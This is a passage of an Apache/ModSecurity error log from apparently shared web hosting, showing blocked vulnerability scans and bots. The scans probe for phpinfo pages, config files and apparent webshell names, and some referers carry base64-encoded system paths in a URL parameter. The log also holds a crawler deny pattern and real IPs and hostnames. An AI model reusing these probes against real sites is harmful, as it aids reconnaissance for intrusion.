18:09:57.175013 2026] [security2:error] [pid 531155:tid 531326] [client 91.92.42.86:16994] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xVSmiP80klyS0Nnr05AAAATM"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.176803 2026] [security2:error] [pid 531155:tid 531315] [client 91.92.42.86:17060] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xVSmiP80klyS0Nnr05gAAASg"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.178623 2026] [security2:error] [pid 531155:tid 531300] [client 91.92.42.86:17090] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xVSmiP80klyS0Nnr06AAAARk"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.180591 2026] [security2:error] [pid 531155:tid 531369] [client 91.92.42.86:17018] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xVSmiP80klyS0Nnr06gAAAV4"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.181126 2026] [security2:error] [pid 531797:tid 532027] [client 91.92.42.86:17126] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xVcTA7b1mZrmcA-8f0QAAAjM"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.181471 2026] [security2:error] [pid 531797:tid 532006] [client 91.92.42.86:17110] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xVcTA7b1mZrmcA-8f0gAAAh4"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.187358 2026] [security2:error] [pid 531797:tid 532047] [client 91.92.42.86:17144] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.guu.rog.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xVcTA7b1mZrmcA-8f1AAAAkU"], referer: http://webdisk.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.190080 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:09:57.190524 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:09:57.270368 2026] [security2:error] [pid 531155:tid 531373] [client 91.92.42.86:17166] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xVSmiP80klyS0Nnr07QAAAWI"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.274143 2026] [security2:error] [pid 531797:tid 532093] [client 91.92.42.86:17188] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xVcTA7b1mZrmcA-8f2wAAAnI"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.330751 2026] [security2:error] [pid 531797:tid 532103] [client 91.92.42.86:17254] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xVcTA7b1mZrmcA-8f5QAAAnw"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.331348 2026] [security2:error] [pid 531155:tid 531364] [client 91.92.42.86:17196] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xVSmiP80klyS0Nnr08gAAAVk"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.333880 2026] [security2:error] [pid 531797:tid 532055] [client 91.92.42.86:17270] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xVcTA7b1mZrmcA-8f5wAAAk0"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.335109 2026] [security2:error] [pid 531797:tid 531996] [client 91.92.42.86:17224] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xVcTA7b1mZrmcA-8f6AAAAhQ"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.336995 2026] [security2:error] [pid 531797:tid 532084] [client 91.92.42.86:17278] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xVcTA7b1mZrmcA-8f6wAAAmo"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.395518 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.17:56324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:57.395965 2026] [access_compat:error] [pid 531155:tid 531222] [remote 57.141.14.17:56324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:57.409069 2026] [security2:error] [pid 531797:tid 532045] [client 88.19.64.165:43226] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "503"] [hostname "parashakthipeetham.com"] [uri "/xmlrpc.php"] [unique_id "ai3xVcTA7b1mZrmcA-8f4wACRCQ"] [Sat Jun 13 18:09:57.433881 2026] [security2:error] [pid 531155:tid 531370] [client 91.92.42.86:17312] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xVSmiP80klyS0Nnr09wAAAV8"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.454827 2026] [security2:error] [pid 531797:tid 532021] [client 91.92.42.86:17190] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.guu.rog.mybluehost.me"] [uri "/phpinfo/info.php"] [unique_id "ai3xVcTA7b1mZrmcA-8f7wAAAi0"], referer: http://webmail.guu.rog.mybluehost.me/ [Sat Jun 13 18:09:57.568025 2026] [security2:error] [pid 531155:tid 531321] [client 20.151.217.54:40224] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/777.php"] [unique_id "ai3xVSmiP80klyS0Nnr0_AAAAS4"] [Sat Jun 13 18:09:57.649970 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.17:56338] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:57.650405 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.17:56338] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:57.665466 2026] [access_compat:error] [pid 531155:tid 531250] [remote 57.141.14.74:57986] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:57.665925 2026] [access_compat:error] [pid 531155:tid 531250] [remote 57.141.14.74:57986] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:57.698911 2026] [security2:error] [pid 531797:tid 531888] [remote 17.22.237.190:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 190.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xVcTA7b1mZrmcA-8f_AACghg"] [Sat Jun 13 18:09:57.726572 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:57.727022 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:57.817797 2026] [security2:error] [pid 531155:tid 531338] [client 172.56.168.133:51938] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xVSmiP80klyS0Nnr1BAAAAT8"] [Sat Jun 13 18:09:57.818014 2026] [security2:error] [pid 531155:tid 531338] [client 172.56.168.133:51938] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xVSmiP80klyS0Nnr1BAAAAT8"] [Sat Jun 13 18:09:57.982713 2026] [security2:error] [pid 531797:tid 532094] [client 191.234.188.123:64584] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/lupo.php"] [unique_id "ai3xVcTA7b1mZrmcA-8gBQAAAnM"] [Sat Jun 13 18:09:58.040559 2026] [security2:error] [pid 531797:tid 531925] [remote 17.246.19.28:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 28.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xVsTA7b1mZrmcA-8gBwACMj0"] [Sat Jun 13 18:09:58.052051 2026] [access_compat:error] [pid 531797:tid 531890] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvbGliL3VkZXY= [Sat Jun 13 18:09:58.052315 2026] [access_compat:error] [pid 531797:tid 531890] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvbGliL3VkZXY= [Sat Jun 13 18:09:58.150972 2026] [access_compat:error] [pid 531797:tid 531902] [remote 57.141.14.53:52164] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:58.151381 2026] [access_compat:error] [pid 531797:tid 531902] [remote 57.141.14.53:52164] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:58.180128 2026] [security2:error] [pid 531797:tid 532108] [client 191.233.234.186:44749] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/wp-form.php"] [unique_id "ai3xVsTA7b1mZrmcA-8gEgAAAoE"] [Sat Jun 13 18:09:58.222681 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:09:58.223064 2026] [access_compat:error] [pid 531155:tid 531262] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:09:58.436768 2026] [security2:error] [pid 531797:tid 532056] [client 20.151.217.54:65159] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/twinklingly.php"] [unique_id "ai3xVsTA7b1mZrmcA-8gGgAAAk4"] [Sat Jun 13 18:09:58.486944 2026] [security2:error] [pid 531797:tid 531882] [remote 156.59.198.136:42506] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.cyprusyouth.org"] [uri "/wp-content/uploads/2019/05/%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD.pdf"] [unique_id "ai3xVsTA7b1mZrmcA-8gHAACSxI"] [Sat Jun 13 18:09:58.591048 2026] [security2:error] [pid 531797:tid 532013] [client 20.151.217.54:46224] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/cakr3xr4.php"] [unique_id "ai3xVsTA7b1mZrmcA-8gIAAAAiU"] [Sat Jun 13 18:09:58.658209 2026] [security2:error] [pid 531155:tid 531206] [remote 17.246.19.118:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xVimiP80klyS0Nnr1EAABQzI"] [Sat Jun 13 18:09:58.675120 2026] [access_compat:error] [pid 531797:tid 531909] [remote 57.141.14.113:40512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:58.675418 2026] [access_compat:error] [pid 531797:tid 531909] [remote 57.141.14.113:40512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:58.690236 2026] [security2:error] [pid 531797:tid 532012] [client 20.151.217.54:40150] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/s-axi.php"] [unique_id "ai3xVsTA7b1mZrmcA-8gKAAAAiQ"] [Sat Jun 13 18:09:58.755520 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:09:58.755827 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9pbnB1dC9pbnB1dDIvZGV2aWNl [Sat Jun 13 18:09:58.794396 2026] [access_compat:error] [pid 531797:tid 531864] [remote 57.141.14.101:22030] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:58.794838 2026] [access_compat:error] [pid 531797:tid 531864] [remote 57.141.14.101:22030] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:58.795007 2026] [security2:error] [pid 531797:tid 532124] [client 191.234.188.123:12355] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/ng.php"] [unique_id 